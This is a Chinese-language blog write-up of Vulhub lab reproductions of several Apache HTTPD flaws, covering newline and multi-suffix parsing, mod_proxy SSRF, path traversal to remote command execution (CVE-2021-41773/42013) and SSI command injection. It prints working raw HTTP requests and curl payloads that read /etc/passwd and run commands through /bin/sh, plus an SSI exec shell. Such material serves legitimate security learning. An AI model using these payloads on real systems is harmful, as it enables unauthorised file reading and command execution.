Vulhub 漏洞学习之:Apache HTTPD

Vulhub 漏洞学习之:Apache HTTPD

1 Apache HTTPD 换行解析漏洞(CVE-2017-15715)

1.1 漏洞利用原理

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

1.2 漏洞利用过程

  1. 访问目标网站上传一个名为 evil.php 的文件,被拦截:

    image-20220114140752083

    image-20220114140719740

  2. 修改请求报文,在 evil.php 后面插入一个%0A(注意,不能是%0D%0A,只能是一个%0A),对 %0A 进行 url 编码后放行拦截请求:

    image-20220114141031812

    image-20220114141248573

  3. 返回 200 OK 说明文件成功上传

    image-20220114141354672

  4. 访问上传的文件 http://192.168.210.13:8080/evil.php%0A ,发现能够成功解析,说明目标存在解析漏洞

    image-20220114142008659

2 Apache HTTP Server 2.4.48 mod_proxy SSRF漏洞(CVE-2021-40438)

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.48及以前的版本中,mod_proxy模块存在一处逻辑错误导致攻击者可以控制反向代理服务器的地址,进而导致SSRF漏洞。

参考链接:

2.1 漏洞利用过程

  1. 服务器启动后,访问 http://192.168.210.13:8080/ 可以看到一个Apache Tomcat的示例页面,此时Apache HTTP Server是以中间反代服务器的身份,运行在客户端(用户)和后端服务器(Tomcat)之间,Apache和Tomcat通过AJP协议进行通信。

    image-20220114162632152

  2. 构造如下数据包

    GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
    Host: 192.168.1.162:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
    Connection: close
    
    
    
  3. 可见我们已经成功请求到 http://example.com 的页面并返回:

    image-20220114171923669

    image-20220114171858484

3 Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:

  • 版本等于2.4.49
  • 穿越的目录允许被访问,比如配置了<Directory />Require all granted</Directory>。(默认情况下是不允许的)

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

参考链接:

3.1 漏洞利用

  1. 构造如下数据包:注意其中的/icons/必须是一个存在且可访问的目录,成功获得到 /etc/passwd 文件内容

    GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
    Host: 192.168.210.13:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    
    

    image-20220114190717868

    1. 利用 CURL 命令来发送Payload

      curl -v --path-as-is http://192.168.210.13:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
      

      image-20220114191402025

  2. 在服务端开启了cgi或cgid这两个mod的情况下,可以执行任意命令,构造数据包如下:

    GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
    Host: 192.168.210.13:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 7
    
    echo;id
    

    image-20220114191054432

    1. 利用 CURL 命令来发送Payload

      curl -v --data "echo;id" 'http://192.168.210.13:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
      

      image-20220114191623214

4 Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)

Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。

参考链接:

4.1 漏洞利用

  1. 构造如下数据包:注意其中的/icons/必须是一个存在且可访问的目录,成功获得到 /etc/passwd 文件内容

    GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
    Host: 192.168.210.13:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    
    

    image-20220117154717769

    1. 利用 CURL 命令来发送Payload

      curl -v --path-as-is http://192.168.210.13:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
      

      image-20220117154854639

  2. 在服务端开启了cgi或cgid这两个mod的情况下,可以执行任意命令,构造数据包如下:

    POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
    Host: 192.168.210.13:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 7
    
    echo;id
    

    image-20220117161928220

    1. 利用 CURL 命令来发送Payload

      curl -v --data "echo;id" 'http://192.168.210.13:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash'
      

      image-20220117162058760

5 Apache HTTPD 多后缀解析漏洞

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:

AddType text/html .html
AddLanguage zh-CN .cn

其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。

以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:

AddHandler application/x-httpd-php .php

那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

5.1 漏洞利用

  1. http://192.168.210.13/index.php中是一个白名单检查文件后缀的上传组件,上传完成后并未重命名。

  2. 成功上传文件名为xxx.php.jpgxxx.php.jpeg的文件。

    image-20220118134652925

  3. 利用Apache解析漏洞进行getshell

    image-20220118135523589

6 Apache SSI 远程命令执行漏洞

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。

参考链接:

6.1 SSI的原理

参考:STM32 网络通信Web Server中 SSI与CGI的应用解析_renyinmin 的博客-CSDN博客_cgi ssi

​ 将内容发送到浏览器之前,可以使用“服务器端包含 (SSI)”指令将文本、图形或应用程序信息包含到网页中。例如,可以使用 SSI 包含时间/日期戳、版权声明或供客户填写并返回的表单。

​ 对于在多个文件中重复出现的文本或图形,使用包含文件是一种简便的方法。将内容存入一个包含文件中即可,而不必将内容输入所有文件。通过一个非常简单的语句即可调用包含文件,此语句指示 Web 服务器将内容插入适当网页。而且,使用包含文件时,对内容的所有更改只需在一个地方就能完成。即在把网页界面程序的SHTML文件发给浏览器之前,通过某几个SSI的主要函数把SHTML里面的数据进行了替换(可以说是增加了某些程序进去)。

替换的规则:查找到 <!--#XXX-->,这个XXX是可以自己定义的,比如我定义 LWIP_HTTPD_MAX_TAG_NAME_LEN 为3,那就是这 <!--#XXX--> 可以放的是3个字符,比如 <!--#adc--> ,然后找到这个 <!--#adc--> 后,我把某个程序加上去,比如加上”测试ADC”。

  • 没有经过SSI处理的原始页面

    <HTML>
    <METAcontent="text/html; charset=gb2312" http-equiv=Content-Type>
    <METAhttp-equiv="pragma" content="no-cache">
    <SCRIPTlanguage=JavaScript><!--
    functiondoLoad(){
    }
    //--></SCRIPT>
    <BODYοnlοad=doLoad();>
    <FORMMETHOD=POST ACTION="/test.cgi">
    <TD>test<!--#adc--></TD>           
    </FORM>
    </BODY>
    </HTML>
    

    把这个程序复制到文本文档里面,然后另存为一个index.shtml,然后用浏览器打开就可以看到网页界面上显示:test

  • 经过SSI处理后的页面

    <HTML>
    <METAcontent="text/html; charset="gb2312" http-equiv=Content-Type>
    <METAhttp-equiv="pragma" content="no-cache">
    <SCRIPTlanguage=JavaScript><!--
    functiondoLoad(){
    }
    //--></SCRIPT>
    <BODYοnlοad=doLoad();>
    <FORMMETHOD=POST ACTION="/test.cgi">
    <TD>test<!--#adc-->测试ADC</TD>           
    </FORM>
    </BODY>
    </HTML>
    

    然后用浏览器打开就可以看到网页界面上显示:test测试ADC,这样应该就能够理解了,找到指定的 <!--#xxx--> 字符串后,是在后面添加程序

​ 因为包含 SSI 指令的文件要求特殊处理,所以必须为所有 SSI 文件赋予 SSI文件扩展名。默认扩展名是 .stm、.shtm 和 .shtml。

6.2 CGI 原理

参考:STM32 网络通信Web Server中 SSI与CGI的应用解析_renyinmin 的博客-CSDN博客_cgi ssi

CGI是外部应用程序(CGI程序)与WEB服务器之间的接口标准,是在CGI程序和Web服务器之间传递信息的过程。CGI规范允许Web服务器执行外部程序,并将它们的输出发送给Web浏览器,CGI将Web的一组简单的静态超媒体文档变成一个完整的新的交互式媒体。

以页面登陆过程为例:

  • 输入正确的用户名和密码后,点击<登陆>按钮,这时浏览器就下发一个指令数据,该指令数据里面就包含了需要处理的用户名和密码数据(输入框里面的数据,比如用户名是admin),STM32接收到该指令数据之后,经过解析处理,然后把处理之后的数据发回浏览器,比如验证输入的用户名和密码为错误,则在浏览器上弹出一个串口提示“用户名或密码错误!”,如果输入的用户名和密码为正确,则在浏览器上直接跳转进入另外一个网页界面。

  • 代码

    <HTML>
    <METAHTTP-EQUIV = "Pragma" CONTENT="no-cache">
    <SCRIPTlanguage=JavaScript>
    functiondoLoad(){
    }
    </SCRIPT>
    <BODYοnlοad=doLoad();>
    <FORM METHOD=POSTACTION="/checklogin.cgi">
    <strong>用户名</strong>
    <inputtype="text" size="20" name="username">
    <strong>密码</strong>
    <inputtype="password" size="20" name="password">
    <BR>
    <inputtype="submit" name="login" value="登陆">
    </FORM>
    </BODY>
    </HTML>
    

    这个代码中的 <FORM METHOD=POST ACTION="/checklogin.cgi"> 表明,浏览器是下发POST指令,其中包含了checklogin.cgi处理,而这个checklogin.cgi处理是要STM32在程序里面处理。

    在 httpdi_cgi_ss.c 即后台数据里面有:

    static consttCGI ppcURLs[]= //cgi程序
    {
          {&quot;/checklogin.cgi&quot;,Chacklogin_CGI_Handler},
    };
    
    //CGI 用户和密码检测设置 控制句柄
    
    const char*Chacklogin_CGI_Handler(int iIndex, int iNumParams, char *pcParam[], char*pcValue[])
    {
      u8 i=0; //注意根据自己的参数的多少来选择i值范围
          u8 passchack=0;
          iIndex =FindCGIParameter(&quot;username&quot;,pcParam,iNumParams);  //找到bktime的索引号
          if(iIndex != -1) //找到pagingvol索引号
          {
               for(i = 0;i &lt; iNumParams;i++)
               {
                     if(strcmp(pcParam,&quot;username&quot;)== 0)  //查找CGI参数
                     {
                          if(strcmp(pcValue,&quot;admin&quot;)== 0)//用户名正确
                          {
                                passchack++;
                          }
                     }
                     elseif(strcmp(pcParam,&quot;password&quot;) == 0)  //查找CGI参数
                     {
                          if(strcmp(pcValue,&quot;admin&quot;)== 0)//密码正确
                          {
                                passchack++;
                          }
                     }
               }
               if(passchack &gt; 1)//用户名和密码都正确了
               {
                     return &quot;/index.shtml&quot;;     //把保存成功的信息以及修改后的信息重新上传
               }
          }
          return &quot;/error.shtml&quot;;      //把保存成功的信息以及修改后的信息重新上传
    }
    
    // 函数Chacklogin_CGI_Handler()就是验证用户名和密码是否是”admin”,正确则把index.shtml这个SHTML文件发给浏览器,浏览器则显示index.shtml的网页界面;如果用户名和密码错误则返回错误的网页界面(error.shtml的界面)。
    

6.3 漏洞利用

  1. 访问http://192.168.210.13:8080/upload.php,正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件:

    <!--#exec cmd="id" -->
    

    image-20220118145626514

    image-20220118145724084

posted @ 2022-02-13 13:13  f_carey  阅读(282)  评论(0编辑  收藏  举报